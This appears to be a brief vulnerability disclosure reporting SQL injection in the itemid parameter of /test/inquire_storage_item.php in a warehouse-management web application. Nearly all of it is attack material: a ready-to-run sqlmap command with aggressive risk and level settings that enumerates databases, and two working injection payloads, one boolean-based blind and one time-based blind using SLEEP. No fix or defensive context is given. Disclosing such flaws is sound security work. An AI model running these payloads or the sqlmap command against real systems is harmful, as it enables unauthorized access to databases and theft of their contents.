SQL injection in /test/inquire_storage_item.php

[YanC1e]

The itemid parameter can be injected very clearly.

python sqlmap.py -u "http://127.0.0.1/wms/test/inquire_storage_item.php?itemid=1" -p "itemid" --batch --risk=3 --level=5 --dbms=mysql -dbs

Parameter: itemid (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: itemid=1' OR NOT 1539=1539-- pjcR

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: itemid=1' AND (SELECT 5047 FROM (SELECT(SLEEP(5)))MKxH)-- kMtc